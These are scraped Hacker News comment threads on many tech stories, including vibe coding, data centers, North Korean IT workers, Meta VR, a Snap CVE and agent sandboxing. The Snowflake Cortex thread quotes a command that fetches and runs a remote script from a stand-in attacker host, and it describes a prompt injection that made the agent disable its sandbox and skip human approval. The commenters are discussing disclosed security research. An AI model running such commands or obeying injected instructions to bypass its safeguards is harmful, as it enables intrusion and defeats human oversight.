I think there are levels to this. - One shot or "spray and pray" prompt only vibe coding: gambling. - Spec driven TDD AI vibe coding: more akin to poker. - Normal coding (maybe with tab auto complete): eating veggies/work. I like to sit in the "spec driven" bucket. Notably though gambling has the massive downside of losing your entire life and life savings. Being in the "vibe coding" bucket's worse case is being insufferable to your friends and family, wasting your time, and spending $200/month on a max plan.
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You remind me of those guys who swear they have a "system" at the casino.
The gambling metaphor often applied to vibecoding implies that the outcome cannot be fully controlled or influenced, such as a slot machine. Opus 4.5 and beyond show that it not only can be very much can be influenced, but also it can give better results more consistently with the proper checks and balances.
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One way it works is if you think of cognitive debt as the "house". As in "the house always wins".
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it can give better results more consistently with the proper checks and balances. You can get more consistent results from a slot machine with a bunch of magnets and some swift kicks. It's still gambling.
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> The gambling metaphor often applied to vibecoding implies that the outcome The important part of the not-really-a-metaphor is the relationship between user and machine, and how it affects the user's mind. What the machine outputs on "wins" is secondary, because addictive gambling can still happen even when the payouts are dumb.
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Slot machines have very controlled results. They are regulated to a high precision of reliability.
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[delayed]
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Yeah, I don't think the metaphor applies exactly but I definitely see similarities from my personal experience 1/ Dependency -- Once I got used to agentic coding, I almost always reached out to it even for small changes (e.g. update a yaml config) 2/ Addiction -- In the initial euphoria phase, many people experience not wanting to "waste" any time agent idle and they'd try to assign AI agents task before they go to sleep 3/ You trust your judgement less and less as agent takes over your code 4/ "Slot machine" behavior -- running multiple AI agents parallel on same task in hope of getting some valuable insight from either 5/ Psychosis -- We have all met crypto traders who'd tell you how your 9-5 is stupid and you could be making so much trading NFTs. Social media if full of similar anecodotes these days in regards to vibecoding with people boasting their Claude spend, LOC and what not
Poker is a skill-based game where your actions influence your success, but many people who play it are gambling.
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everybody who's playing poker is gambling, skilled or not.
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without a rigorous definition of "gambling", such discussions are pointless
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And that's why poker is a poor metaphor for agentic coding.
How often do you have to win before it's no longer gambling?
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Exactly. It's not gambling if you win most of the time. This is like saying driving a car is gambling. I mean sure, I guess if you think any amount of risk equals gambling.
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we're winning so much we started complaining "I can't handle so much winning"
I don't know where I'd draw the line personally, but wherever you draw it there's a problem. If you give increasingly more advanced tasks to it, you will eventually cross the line.
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How is this any different from assigning increasingly more advanced tasks to an employee?
Americans Recognize AI as a Wealth Inequality Machine, Polls Find (gizmodo.com)
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"When asked to choose between whether the federal government should provide “help for American workers who lose their jobs to AI” or create “incentives for American tech companies to keep innovating so that America outcompetes the rest of the world in developing AI, even if it allows tech companies to profit while eliminating jobs in the US,” the public overwhelmingly favored workers. Nearly 60% of all respondents" What kind of biased poll is that? I'm surprised only 60% agreed with that.
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> When asked to choose between whether the federal government should provide “help for American workers who lose their jobs to AI” or create “incentives for American tech companies to keep innovating so that America outcompetes the rest of the world in developing AI, even if it allows tech companies to profit while eliminating jobs in the US,” the public overwhelmingly favored workers. This is one of the most loaded poll questions I've ever seen. Even if you're very pro worker and anti-AI, I can't see how his poll result is useful outside of generating clickbait headlines.
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I thought some of those polling numbers would be higher. Do people really think it serves a purpose for tech companies to hold ALL the wealth? People must have heard a bit about economics in high school and figured there was no need to think critically beyond that.
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After giving this a great deal of thought, it's clear that the American electorate is completely captured. They will always vote to further the interests of corporations. This will not change until the money is removed from politics. The good news is that bad actors at the top (grifters, rent-seekers, etc) will continue to stash their ill-gotten gains into assets like stocks and real estate, so as long as you own some, you'll enjoy the fruits of their labors.
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> you'll enjoy the fruits of their labors That's how putting your savings into the market is sold, and it's true to an extent; you will lose out if you let your money sit around. But also, having a bunch of inattentive and unsavvy investors in the market is super convenient to anyone with a whole lot wealth. It means when the market crashes there's a cushion made up of your retirement savings. Plus, they have the option of buying low and increasing their share of the market. If you put all your money in an ETF for the long haul, you end up with a smaller share of the pie. That's what really matters, right? Not absolute wealth, but spending power relative to other people around you. If the mechanics of the stock market increase this gap, even when people are bought in, I don't think that "enjoying the fruits of their labors" is the right framing.
Google Engineers Launch "Sashiko" for Agentic AI Code Review of the Linux Kernel (phoronix.com)
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b2b or b2c? feels like it could go either way
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https://github.com/sashiko-dev/sashiko ( https://news.ycombinator.com/item?id=47427996 )
That is both really useful and a great example of why they should have stopped writing code in C decades ago. So many kernel bugs have arisen from people adding early returns without thinking about the cleanup functions, a problem that many other language platforms handle automatically on scope exit.
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Must we do this on every thread about the Linux kernel?
A data center opened next door. Then came the high-pitched whine (politico.com)
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Person who probably has never lived next to an industrial site disappointed to find they don't like living next to an industrial site. This is why we have zoning laws.
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I offer you a chatbot in this troubling time
Genuine question but is the problem datacenters or more specifically AI specific datacenters? Because all these talks of data-center disrupting everyday's life from all the videos I have watched somehow now involve the AI/GPU aspect which have definitely made things more energy intensive and more water intensive But more specifically compute focused datacenters actually feel somewhat good/neutral to the region and you still need remote hands etc. so net employment. Although one of the ideas I have with that is it would be better if the owner of the said datacenter either belonged to the community/cared about it and wasn't a massive corporation for example too. It's the AI bubble which is the issue which has caused a Datacenter frenzy as nameless corporations take massive debts to build them and scramble to do so and cause issues in the process.
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In this case it is mostly the gas plants. They could have installed them far away, keeping the datacenter in place, or even better, use solar power. Or they could have built infrastructure in the middle of nowhere for datacenters to reside. In the end the problem is that maximum profit doesn't care about humans.
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Vast majority of the new ones are for AI
The article very very carefully avoids contextualizing this site, so as a service, here you go: https://www.google.com/maps/place/Sully+Rd,+Centreville,+VA/@38.9914605,-77.426631,5219a,35y,258.89h,0.18t/data=!3m1!1e3!4m6!3m5!1s0x89b6471a86c6b983:0x97a9e008031b497e!8m2!3d38.8568832!4d-77.43437!16s%2Fg%2F1tjfhr2m?entry=ttu&g_ep=EgoyMDI2MDMxNS4wIKXMDSoASAFQAw%3D%3D
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interesting that the data center noise is competing with a lot of airplanes and freeways
I assume once the bubble bursts they'll be turned into power supplies for bitcoin miners
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Hopefully not, but they expect that scenario. For those as ignorant as me, I started reading this https://cointelegraph.com/features/the-last-bitcoin-btc-mine They expect transaction fees will overtake minting earnings.
There's an assumption underlying what you said that datacenters are gonna get built one way or another. But these aren't sewage plants or power plants or desalination plants or whatever, they aren't particularly important for the quality of life of most people. We could just kinda... not build them? How about we don't let them get built most places so it becomes fairly expensive. Make it so expensive that only say 1/5 of the amount get built. The rich techbros still have their videogen toys and nobody deals with noise pollution. It's not cheap to generate a picture of trump riding a frog, ya know, but like everyone's lives are no different from how they are now.
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Especially when we're talking about datacenters with onsite fossil fuel power generation.
> What do you mean, "allowed" to vote on it? The county officials are the decisionmakers, who should have allowed or not allowed them? Well I'm not sure how it works there but there are requests here made before building can start. Planning permission is usually first voted on by committee and then brought to the public in the area and public forums are where people get to ask questions such as "what's the expected noise pollution". Basic stuff I thought.
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The article details why it wasn't so basic here. Loudoun County allows datacenters to be built by right without a hearing, because they were understood to be (and IME still usually are) very low-impact on the neighbors. The gas turbines were approved as a temporary power source, but then the local power company Dominion said "temporary" would have to last for years longer than planned. Now they're changing the rules for datacenter approvals to ensure that projects that might end up producing this kind of impact will get the scrutiny they need.
North Korean's 100k fake IT workers net $500M a year for Kim (theregister.com)
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Genuinely baffled by the logistics of this. The article makes it sound like these are large numbers of people in NK or surrounding countries who rely on Google translate, so not sophisticated spies or whatever. Even if they get their hands on a fake American ID, these are taxable, insured jobs, they're not working at a restaurant under the table. IT companies ship out hardware, where are these people banked etc? How does this practically look, officially you're working with Mark Johnson but you end up on a zoom call with a guy who speaks broken English and connects from the other part of the world and you're not suspicious?
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old article but still relevant. some things don't change
The far more common fraud is: 1) Hire fake candidate 2) You realize they're fake 1-2 weeks into the role. They are unreliable. They don't show up for meetings. You have trouble communicating with them 3) You fire them But they've already won the game. They collected a single paycheck. And for an intermediate (even junior) dev position, collecting even just a single paycheck is a big pay day for them. The main cost to the company is time wasted, needing to open the role once more to find a real candidate who can actually do the job. I think it's incredibly rare for these candidates to actually do the job well. (They also have fake resumes, all of their experience is made up -- so if you're expecting expertise, you're likely not going to get it)
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This is a little baffling to me, if you're suggesting this is an actual method people employ to make a living. Interviewing is difficult and stressful. Or maybe their approach is a shotgun strategy, so they don't care?
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If they're living in NK then maybe their alternatives for making a living are mostly much worse than this?
The numbers in the headline seem odd. They imply that each (fake|fraudulent) worker only nets $5000 per year for Kim. I know the system has some inefficiencies where people behind the scenes are helping the "employee" with the work and there are cost of living expenses, taxes etc. but that seems like a pretty low take.
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This might include people working in lumber camps in places like Siberia, "mercenaries" in Ukraine, people in NK-managed restaurants in China, Laos etc, or similar efforts that have been reported on, where the average revenue per worker is likely a lot lower.
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It would be ironic if the DPRK just passes on more of the money than most contract software companies.
I’m a little unclear on the usage of the word “fake” here. Going by article, these are real people doing actual real work, they often use stolen identities to conceal information about themselves, and they get help from outside sources to do their jobs better. Whatever the right word is, it’s not “fake”. Maybe fraudulent? Or ulterior motives? Or deceptive? Or pretext? Or threat actor? Or foreign agents?
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"Fake" seems fine. If I buy a fake watch, that might mean that it's a real watch that does its job of telling time, but it says "Rolex" on the front and that's a lie.
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In that example it would be more common to describe the watch as a "fake Rolex", for the reason you give (it's a real watch).
It's North Korea though and they're all eViL. Imagine a world where the U.S lifted sanctions on N.K. traded with them and stopped crying about losing a war 70 years ago. Ah well a boy can dream. Edit: Lol saying anything positive about North Korea on hacker news and people instantly freak out. This fucking website man. North Korea isn't what I would call a free society but it's also not the hell on earth that most liberals want you to think it is. So much of the misery that normal North Koreans have to face is because of western imposed sanctions. We've tried punishing them for 30 years now, it hasn't destroyed the regime if anything they double down. I guess it's easy for a bunch of overfed over paid tech workers to not feel any kind of solidarity for a North Korean though and insist on punishing them even more. Hell the North Korean government would even be open for this kind of agreement if we would actually guarantee their sovereignty, sadly trusting the United States of America to hold up any kind of deal you make with them is fucking impossible. Here is a quote I came up with but is attributed to Henry Kissinger Having the United States as your enemy is dangerous, but having them as your friend is fatal. That old bag liked it so much he had no problem taking credit for it.
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Lot's of people have tried trading with North Korea, but they're politically unreliable. China and Russia both try obviously, but so has South Korea. These cooperations usually work for a while but eventually the unreliable reality of the North Korean government wrecks it for them. If it were all America's fault, as these sort of regimes always claim, they'd be able to get on well enough with their neighbors, but they can't.
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Sure, let's prop up a communist dictatorship so the leftists can run their concentration camps more efficiently. Brilliant idea, comrade.
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Even other communist dictatorships are pretty sick of North Korea's shit!
most of my earnings go to my employer too... we bill clients at X and I get a small portion of it
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Exactly. As slave as them.
Advanced Persistent Coworker
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Advanced Persistent Telecommuter
The point is that there are legit American citizens who are in on the con. They have real SSNs and an actual presence in the US. They run proxy servers out of their house to make it seem like that's where their web traffic is coming from. From the company's perspective, everything seems like a regular remote employee.
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A proxy server can't fool an in-person interview. Totally bizarre how in-person interviews have fallen out of fashion, now that they're needed the most.
Reminds me of the Key & Peele sketch: https://www.youtube.com/watch?v=jgYYOUC10aM > Once employed in a full-time role, fake workers are often very successful, since they sometimes have multiple people helping them to produce their work, with the hope of getting a promotion and gaining more privileged access to the IT systems. I think the "fake" part is the long term play to get enough privilege to presumably perform a cybersecurity attack. But less "fake" and more "spy" from the description - the outlined scheme is literally what spies agencies do.
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Came here to post this. I'm glad someone else thought of it. "Hear me out... we're going to rip of Western companies by... get this... writing code for them and taking home a paycheck week after week. They're just going to give us the money!! "
Meta will shut down VR Horizon Worlds access June 15 (engadget.com)
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this matches my experience exactly
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So... did the avatars ever get real legs, or no? I am so glad this product is failing/failed, and I find myself truly and existentially rooting for the glasses with the cameras to die a similar fate. I have so many questions about the overarching product vision of Meta and can't help but think they're going to continue to struggle with everything that isn't "serve more relevant ads on Instagram." Anecdote: my most vivid memory of their "VR vision" is virtual versions of Mark and another exec high-fiving in front of a flooded Puerto Rico. Classy.
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> With its potential to generate up to $5 trillion in value by 2030, the metaverse is too big for companies to ignore. [1] [1] https://www.mckinsey.com/capabilities/growth-marketing-and-sales/our-insights/value-creation-in-the-metaverse
As an engineer I love that Zuck likes to throw his money around. He has been one of the big reasons for SWE salary inflation over the past 15 years. We should be thankful that not every company is relentlessly cost cutting
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On the other hand they seem to do layoffs liberally too. Feels like thrash from the outsider's view.
I honestly think VR hasn't taken off yet because every VR headset since forever has been a locked-down platform or not a stand-alone device (meaning: You need a powerful PC to use it, which makes the cost too high for casual players). The development barrier to entry is far too high and the market far too small. The Steam Frame is a full PC that doesn't require a tether. I think it'll change everything if it doesn't cost a fortune (which it might). The possibilities for 3rd party hardware and the open ecosystem of a complete Linux distro + Steam are endless. Day one of the Steam Frame I'm sure we're going to see all sorts of open source tools/scripts that make it better. Then 3rd party hardware will be announced and suddenly everyone's going to want one because all those things together make it sooooo nice.
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I thought so too about the steam frame. Then I saw the pass through was not good. Pass through for me has made these products so more livable. It was downright shocking how much less isolating it felt to have full color pass through.
So broadly, they should have acquired VRChat and just slapped their name on it before its own developers enshittified it, but nooooooo...
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I'm really glad they did no do that! That would be the end of VRChat & big damage for the community, basically requiring a migration to to inevitable replacement. Just see what Facebook did to BeatSabre and other VR games and Game studios they acquired. Sure, they could have cloned it, but better with more money - that would be less questionable, especially if it actually worked out. Well, at least they helped to provide affordable headsets for VRChat players at the right time. :)
This one should be studied in management schools. I'm not sure I have ever witnessed such a comprehensive industrial failure in the software world. There were some discussions about Facebook's ability to pull it off, but not that long ago, many still saw the "metaverse" vision as inevitable; a clear trajectory for the future of the internet. And the failure isn't Zuckerberg's alone. Microsoft, Apple, and a good many others all crashed into the same wall.
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It's Zuckerberg alone No one invested that much money into nothing for so long Look trying out nft and co with your marketing budget yeah for sure, building stuff for a poc but spending that many billions for so long without any results that's just crazy. Like a college who 'invested' into 3d printing. It feels like just because Zuckerberg was able to do so and in his brain everything has to be billions (come on he will not spend his time on a million dollar project) made this thing going for so long Delusional I would say
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I agree with you... but was it actually a failure ? I feel like that would require to have some kind of negative consequences, which I don't think Meta has faced over this. They've still been rewarded handsomely.
> And the failure isn't Zuckerberg's alone. I used to work at meta, I was in one of the many research teams that were upstream of horizon. The Failure was pretty much entirely Zuck's fault, in the same way that when a ship smashes into rocks, its the captain's responsibility. The first big problem is that there was never a clear definition of what "the metaverse" was mean to be. It was a pivot that kinda appear after orion (the AR glasses that were supposed to ship in 2020 Q3) failed to ship. A small team had made a VR clone of roblox, where you could make your own games in VR. It was low poly and stuttery on the Quest. Another team was working on getting hand interaction into the quest. A third team thought "hmm, we have a avatar system, what if we can type on keyboards? could we have meetings" The meeting system and the roblox clone carried on, vaguely separately. Then Zuck saw them and decided that they needed 500 more engineers each. Time passed, progress wasn't fast enough, so more engineers were smeared in. Then the meta rebrand, and then the whole weird everything smashed together branding. All the while more engineers were being piled in, most of them had no experience in 3d, let alone games. But, that would have been fine if someone at the top had been steering, making joined up product decisions, Advocating for the users. carmack sorta tried, but a) he wasn't the easiest to work with and B) Boz thought he knew better TLDR: Zuck can't product for shit. He thought that shipping disjointed features would make a platform. It didn't. He also thought that dumping 11,000 people into an org, most of which have no experience of games, VR, 3d or graphics would lead to a good outcome.
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>Zuck can't product for shit He never could. That's why he just buys everything.
The Oculus is actually pretty decent for the price and as a standalone device. The issue is the OS feels so... like it was built by a big company with a dysfunctional org chart? It's still an unfocused mess. The bigger issue is, VR will ALWAYS be a niche thing. Always on AR glasses are the real future bet, not a niche industry. VR will never be as big as Facebook / Instagram / WhatsApp. It just doesn't make sense to invest so much into it. Not sure what Zuck doesn't see this?
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IMO, VR could be huge, but it’s never going to happen when the platform is so locked down. Meta could of been the hardware leader of a thriving ecosystem, but instead they tried to replicate the walled garden of app stores that are failing in 2026.
VRChat won because it's a relatively open platform. That's it. The people in there spent money on Meta hardware when it was better but they would then use it only in VRChat. If a big company embraced an open platform I suspect the space would be far successful. Still a lot of untapped potential. VRChat is successful because someone can show up in a Goku avatar and start roleplaying. A DJ can stream their twitch steam right into an instance. VRChat still has no real store system having people upload unity projects manually to use a custom avatar. There's an entire universe of potential revenue if a clothing, avatar, and instance space system was built into the client.
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You can buy avatars now from the VRChat marketplace for VRChat credits (that yre essentially Japanese Yen in value :D). It is progress but wit the unfortunate bad practices of the platform reportedly taking a sizeable cut. In that regard the long term practice of the artists and users of their creations (mainly avatars) transacting directly via Booth or Gumroad can be seen as healthier & more robust long term.
> not that long ago, many still saw the "metaverse" vision as inevitable; a clear trajectory for the future of the internet. > And the failure isn't Zuckerberg's alone. Microsoft, Apple, and a good many others all crashed into the same wall. This is revisionary. Mark Zuckerberg's Meta was the only company to go all-in on the "metaverse". Microsoft has barely even dabbled in an adjacent area with the Hololens. Apple has essentially zero exposure to anything like the "metaverse". Apple's Spatial Computing and its use of Personas and SharePlay is not like the "metaverse", despite the comparison between Meta's and Apple's efforts being perhaps inevitable. The metaverse, as Meta pursued it, was a social media virtual reality space, and only one of the three companies you mention touted and offered a product for users in this space.
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> Microsoft has barely even dabbled in an adjacent area with the Hololens. Well, I think of that more being due to their mismanagement with the whole WMR ecosystem. "Sterile corporate VR meeting rooms" sounds like exactly something that would have been from Microsoft rather than Facebook, but they tried too hard in some aspects (a half dozen companies making nearly-identical-but-not-really headsets! support built into the OS so deep that to remove it they had to brick everyone's headsets!) and not at all in others.
It sold terribly. The update was super-minimal, and mostly seemed to have been made for production-simplification reasons (as in: it was cheaper to update it than to keep making the old product, and they apparently didn't want to just cancel it entirely). Rumors of future products are never super-reliable, but point to their ambitions being downscaled at best. Really, everyone expects them to pivot to smart glasses, because that's what they clearly wanted to make all along, and there's probably a market for smart glasses in a way there isn't for... whatever the AVP was supposed to be.
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In the Apple ecosystem 'just a spec bump' is pretty significant IMHO. So often they will completely disregard products and just let them languish. The Mac Pro still only comes with the M2 chip.
CVE-2026-3888: Important Snap Flaw Enables Local Privilege Escalation to Root (blog.qualys.com)
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I wonder if, and this is just speculating not trying to start an arguement, if this sort of thing could have happened in the simpler pre-snap, pre-systemd systems? More to the point is this a cause of using more complicated software?
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Permission and timing gotchas in /tmp predate containers and systemd. It's why things like `mkstemp` exist.
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Better to follow the link to the technical details and just read those: https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt The article linked in the submission is more verbose but less clear and half of it is an advertisement for their product.
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> As a side note, we also discovered a local vulnerability (a race condition) in the uutils coreutils (a Rust rewrite of the standard GNU coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default in Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before its release (by replacing the uutils coreutils' rm with the standard GNU coreutils' rm), and would otherwise have resulted in an LPE (from any unprivileged user to full root) in the default installation of Ubuntu Desktop 25.10. Shurely Shome mistake, not a vuln in holy rust!
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Rust cannot help you if race condition crosses API boundary. No matter what language you use, you have to think about system as a whole. Failure to do that results in bugs like this
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The bigger problem here is it seems like the rust utilities were rushed to be released without extensive testing or security analysis because simply because they are written in rust . And this isn't the first serious flaw because of that. Doesn't surprise me coming from Canonical though. At least that's the vibe I'm getting from [1] and definitely [2] [1] https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt [2] https://bugs.launchpad.net/ubuntu/+source/rust-coreutils/+bug/2111815
Nvidia NemoClaw (github.com/NVIDIA)
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Am I missing something? Why is everyone talking about sandboxes when it comes to OpenClaw? To me it's like giving your dog a stack of important documents, then being worried he might eat them, so you put the dog in a crate, together with the documents. I thought the whole problem with that idea was that in order for the agent to be useful, you have to connect it to your calendar, your e-mail provider and other services so it can do stuff on your behalf, but also creating chaos and destruction. And now, what, having inference done by Nvidia directly makes it better? Does their hardware prevent an AI from deleting all my emails?
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If you look at the commit history, they started work on this the Saturday before announcement, so about 2 days. There are references to design docs so it was in the works for some amount of time, but the implementation was from scratch (unless they falsified the timestamps for some reason).
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counterpoint: this assumes everyone has the same constraints. not always true
Containers and VMs are really annoying to work with for these kinds of applications. Things like agent-safehouse and greywall are better imo
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I've honestly found containers a breeze for such use cases. Inference lives on the host, crazy lives in an unpriv'd overlayfs container that I don't mind trashing the root of, and is like nothing in resources to clone, and gives a clean mitm surface via a veth. That said, greywall looks pretty dope!
"And that's why we've created MailCoin, the best way to perform stochastic mailbox ablation with with the latest, hottest blockchain technology." - from Show HN, March 20, 2026
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Now with NFTs and pixel art, memorialising each and every one of your deleted emails in a unique and non-fungible way.
I'm trying to put together what you could possibly mean by this -- rolling coal is fundamentally about spite. In isolation, nobody _wants_ their vehicle to spew black smoke. It only comes close to making sense in the context of another population (EV owners, typically, or more generally "the libs"). OpenClaw lets people live a bit dangerously, but fundamentally gives them something that they actually wanted. They wanted it so badly that they're willing to take what seem like insane risks to get it. What do the two have in common?
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> In isolation, nobody _wants_ their vehicle to spew black smoke. Honestly, when I was 12 years old and my dad floored the TDi in our Land Rover (with the diesel particulate filter deleted), it felt satisfying in a way, like the machine is allowed to be its most efficient self. Now that I'm adult, I know that it's marginal gains for the car and terrible for the environment, but there are people that have the thinking capability of a 12 year old driving these trucks. I don't think all of them do it because of spite (though I'm sure most do).
> OpenClaw lets people live a bit dangerously, but fundamentally gives them something that they actually wanted. They wanted it so badly that they're willing to take what seem like insane risks to get it. For the first time in my career I feel so incredibly behind on this: What is open claw giving people that they want so badly? It just seems like Russian Roulette, I honestly don't see the upside
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A real smart / ai agent doing thinks for you by Delegation. Like the Star Trek computer
How much would a real personal assistant cost?
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> How much would a real personal assistant cost? A lot. And wouldn't be as good or fast. I am speaking from experience.
> Maybe i'm just old -- a cron job can fetch the info and push it to some notification service too, without also being a chaos agent. Here's a concrete example: A web site showing after school activities for my kid's school. All the current ones end in March, and we were notified to keep a lookout for new activities. So I told my OpenClaw instance to monitor it and notify me ONLY if there are activities beginning in March/April. Now let's break down your suggestion: > a cron job can fetch the info and push it to some notification service too, without also being a chaos agent. How exactly is this going to know if the activity begins in March/April? And which notification service? How will it talk to it? Sounds like you're suggesting writing a script and putting it in a cron job. Am I going to do that every time such a task comes up? Do I need to parse the HTML each time to figure out the exact locators, etc? I've done that once or twice in the past. It works, but there is always a mental burden on working out all those details. So I typically don't do it. For something like this, I wouldn't have bothered - I would have just checked the site every few days manually. Here: You have 15 minutes. Go write that script and test it. Will you bother? I didn't think so. But with OpenClaw, it's no effort. Oh, and I need to by physically near my computer to write the script. Now the OpenClaw approach: I tell it to do this while on a grocery errand. Or while in the office. I don't need to be home. It's a 4 step process: "Hey, can you go to the site and give me all the afterschool activities and their start dates?" <Confirm it does that> "Hey, write a skill that does that, and notifies me if the start date is ..." "Hey, let's test the skill out manually" <Confirm skill works> "Hey, schedule a check every 10:30am" And we're done. I don't do this all at once. I can ask it to do the first thing, and forget about it for an hour or two, and then come back and continue. There are a zillion scripts I could write to make my life easier that I'm not writing. The benefit of OpenClaw is that it now is writing them for me. 15 minutes * 1 zillion is a lot of time I've saved. But as I said: Currently unreliable.
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I agree with the sentiment that there are use cases for web scraping where an agent is preferable to a cron job, but I think your particular example can certainly be achieved with a cron job and a basic parser script. Just have Claude write it.
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I didn't say it's not doable. I'm not even saying it's hard. But nothing beats telling Claw to do it for me while I'm in the middle of groceries. Put another way: If it can do it (reliably), why on Earth would I babysit Claude to write it? The whole point is this: When AI coding became a thing, many folks rediscovered the joy of programming, because now they could use Claude to code up stuff they wouldn't have bothered to. The barrier to entry went down. OpenClaw is simply that taken to the next level. And as an aside, let's just dispense with parsing altogether! If I were writing this as a script, I would simply fetch the text of the page, and have the script send it to an LLM instead of parsing. Why worry about parsing bugs on a one-off script?
Snowflake AI Escapes Sandbox and Executes Malware (promptarmor.com)
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Posit, axiomatically, that social engineering works. That is, assume you can get people to run your code or leak their data through manipulating them. Maybe not always, but given enough perseverance definitely sometimes. Why should we expect a sufficiently advanced language model to behave differently from humans? Bullshitting, tricking or slyly coercing people into doing what you want them to do is as old as time. It won't be any different now that we're building human language powered thinking machines.
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The attack chain here is interesting because the escape didnt require a novel vulnerability in the sandbox itself. It exploited the fact that the LLM can reason about its environment and chain tool calls in ways the sandbox designers didnt anticipate. This is the fundamental tension with agent sandboxing: you need the agent capable enough to be useful, but capability and containment are in direct tension.
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the title is very misleading, it was told to escape, it didn't do it on its own as you would think from the title
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To be an effective sandbox, I feel like the thing inside it shouldn't even be able to know it's inside a sandbox.
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> Any shell commands were executed without triggering human approval as long as: > (1) the unsafe commands were within a process substitution <() expression > (2) the full command started with a ‘safe’ command (details below) if you spend any time at all thinking about how to secure shell commands, how on earth do you not take into account the various ways of creating sub-processes?
>Snowflake Cortex AI Escapes Sandbox and Executes Malware rolls eyes Actual content: prompt injection vulnerability discovered in a coding agent
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Well there's the prompt injection itself, and the fact that the agent framework tried to defend against it with a "sandbox" that technically existed but was ludicrously inadequate. I don't know how anyone with a modicum of Unix experience would think that examining the only first word of a shell command would be enough to tell you whether it can lead to arbitrary code execution.
One key component of this attack is that Snowflake was allowing "cat" commands to run without human approval, but failing to spot patterns like this one: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) I didn't understand how this bit worked though: > Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed. HOW did the prompt injection manipulate the model in that way?
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Process substitution is a new concept to me. Definitely adding that method to the toolbox. It'd be nice to see exactly what the bugbot shell script contained. Perhaps it is what modified the dangerously_disable_sandbox flag, then again, "by default" makes me think it's set when launched.
Fascinating read. What's curious though, is the claim in section 2.3.0.1: > Each task runs in its own sandbox. If an agent crashes, gets stuck, or damages its files, the failure is contained within that sandbox and does not interfere with other tasks on the same machine. ROCK also restricts each sandbox’s network access with per-sandbox policies, limiting the impact of misbehaving or compromised agents. How could any of the above (probing resources, SSH tunnels, etc) be possible in a sandbox with network egress controls?
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Sandboxes are almost never perfect. There are always ways to smuggle data in or out, which is kind of logical: if they were perfect then there would be no result.
Machine Payments Protocol (MPP) (stripe.com)
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the comments here are better than the article lol
The good ol' folks at Stripe's collaborators Tempo Labs tried to make an RFC-style description page for MPP: https://paymentauth.org/ (full doc on IETF draft page: https://datatracker.ietf.org/doc/draft-ryan-httpauth-payment/ ) I almost was going to point it out as evidence there was thought put into it. Nope, it's flimsy and AI generated. Also, it contains provisions for scamming customers: > 403 indicates the payment succeeded but access is denied by policy No, it doesn't explain how to refund payments for customers you deny access to.
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This one is even worse IMO > Servers MAY return 402 when: > * Offering optional paid features or premium content This implies that a successful GET request to a resource that user already does have access to, might still return 402 instead of 200. This makes 402 basically unworkable.
It has nothing to do with Agents/LLMs which is why it's not called "Agentic Payment Protocol." It's an API for making purchases instead of interacting with a website of unknown flow.
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The text literally starts with: > We believe agents will become an integral part of the internet economy, and they need the ability to transact with businesses and one another. > MPP provides a specification for agents and services to coordinate payments programmatically, enabling microtransactions, recurring payments, and more.
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Obviously agents are the big thing right now, but that doesn't change the fact that MPP is an automation solution
> we're already giving our agents a real cash budget that they use for tokens. I read this line and my (poor little) brain ran in a whole other direction for a moment. Because AI token management and "parental controls" aren't that far separated functionally. How far are we from the AI companies selling token packs like video games sell premium currency? Buy NOW, 1.99 for 10,000 Anthropic gold...
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Last thing I heard: stock options are so last year, AI companies award ... tokens now. Can't find the source now, sorry!
Death to Scroll Fade (dbushell.com)
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Looking at the main site, seems like it's branded as a "no AI frontend consultant". First time I'm seeing a "no AI" used to differentiate a work for hire. Can't say this wasn't obviously coming. Boutique hand-coded consultancies/software-houses are probably going to spring up a lot.
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This is why I chose a fade-in reveal https://www.rgbjoy.com/
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There's a very simple fix I typically do when it comes to animations: animationCount = 0 animateElement(el) { el.animate({duration: BASE_DURATION / animationCount}) animationCount++ } (formula exagerated for simplicity) Essentially, for any animation that gets repeated, it should decrease in duration over time. This makes things impactful when they're first being displayed, but they very quickly approach an extremely minimal state, making things feel snappy.
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good read. thanks for sharing
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Why do web animations get so much hate with the HN crowd? I think a website is similar to a painting. Some will make you dizzy by just looking at them, and others will be a minimalist dream. Don’t hate me HN, but I say keep messing with the scroll bar, keep making annoying blinking banners, have your way with scroll fade. Don’t listen to these web dev veterans, they are just like snobby movie critics!
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As always with this stuff, it's only bad when you notice it. When it's done right you just think "That was a nicely designed page".
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My favorite part of the iPhone 17 pro / ios26 combo is that it lags on any and everything that remotely touches the GPU like this website.
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No stutter on iPhone 12 18.5
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I couldn't do the mandatory onboarding training at a job once because the course web app had heavy scroll fade, and I got nauseous after a few minutes. I tried every few hours for weeks. Eventually I said I couldn't do it. They had to print it out to pdf for me, and gave me a pass on the courses that were dependent on animation to work.
Something else scroll-related I personally hate: Sticky 'headers' that appear when you scroll down, and disappear when you scroll up. I hate them so much. It hurts my brain to see the stupid thing appear and disappear constantly if I scroll around a page. The worst part is you can't even zap them out of the way with something like uBlock, because then there's no header even when you're at the top of the page. >:(
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This is literally the best ux pattern you can have. It is intuitive - user immediately discovers it when performing the obvious action, it increases the user experience (more text to read) without any real downside. It is the first thing I suggest to anyone when I see someone didn't implement it. I've never heard a complaint about it until now.
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I consider it context-dependent. If a site is intended for users to jump around to different pages often, then sticky headers make sense. If it’s designed for long-form articles or scrolling through feeds, then non-sticky headers make sense. When I have implemented them on my own sites, I try to keep them minimal and unobtrusive. But I also have never heard this complaint specifically, until now.
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God yes. For some reason, I automatically scroll in such a way that I always keep what I'm reading at the very top of the screen. Which means that every time I want to reread a sentence I first have to scroll past the header.
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Also if anything it should disappear when scrolling down and appear when scrolling up.
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Interesting, I find sticky headers to be the bane of my existence, and the ones that disappear but reappear on scroll up are a lesser evil
Oh. This. Tho I solved that with userstyles.
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Joke's on you, we implement all animations in JS
Yes but then I think they should leave the header at the top of the page. If I need it I'll scroll all the way back up! Don't make it randomly re-appear and cover the text I wanted to see because I decided to re-read that last paragraph.
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Especially since mobile browsers typically have a shortcut for scroll-all-the-way-to-the-top
I'm not a web dev but if the goal is to improve load times, I'd think it would make more sense to load the full article text up front, and lazy load heavier data like images and video? I've seen a lot of websites that do it that way.
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But then a fast reader might be able to read faster than the ads could load!
Oh they know, but it's requested because clients want a fancy website, and just having fucking text on the fucking screen explaining what you fucking sell is boooooring. And also completely functional and accessible but where's the fun in that?
